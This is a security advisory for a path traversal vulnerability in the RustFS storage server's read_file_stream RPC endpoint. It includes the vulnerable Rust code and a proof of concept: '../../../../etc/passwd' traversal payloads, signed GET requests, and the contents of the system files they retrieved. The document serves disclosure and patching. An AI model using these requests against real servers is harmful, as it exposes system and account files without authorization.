GitHub Security Advisory: GHSA-pq29-69jg-9mxc
Package: rustfs (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.0.0-alpha.13, <= 1.0.0-alpha.78
Patched in: 1.0.0-alpha.79

Summary: RustFS Path Traversal Vulnerability

Details:
# RustFS Path Traversal Vulnerability

## Vulnerability Details

- **CVE ID**: 
- **Severity**: Critical (CVSS estimated 9.9)
- **Impact**: Arbitrary File Read/Write
- **Component**: `/rustfs/rpc/read_file_stream` endpoint
- **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`

### Vulnerable Code

```rust
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
```

The code uses `PathBuf::join()` without:
- Canonicalization
- Path boundary validation
- Protection against `../` sequences
- Protection against absolute paths

## Proof of Concept

### Test Environment

- **Target**: RustFS v0.0.5 (Docker container)
- **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream`
- **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY)
- **Disk ID**: `/data/rustfs0`
- **Volume**: `.rustfs.sys`

### Attack Scenario

#### Exploit Parameters

```
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size
```

#### Required Authentication

RPC requests require HMAC-SHA256 signature:

```python
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp
```

### Successful Exploits

#### 1. Read `/etc/passwd` ✅

**Request:**
```
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp:[PII_REDACTED]
```

**Response:** HTTP 200 OK

**Content Retrieved:**
```
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
```

**Impact**: Full user account enumeration

---

#### 2. Read `/etc/hosts` ✅

**Request:**
```
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
```

**Response:** HTTP 200 OK

**Content Retrieved:**
```
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2
```

**Impact**: Network configuration disclosure

---

#### 3. Read `/etc/hostname` ✅

**Request:**
```
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
```

**Response:** HTTP 200 OK

**Content Retrieved:**
```
d25e05a19bd2
```

**Impact**: System information disclosure

---

## Technical Analysis

### Data Flow

```
1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. F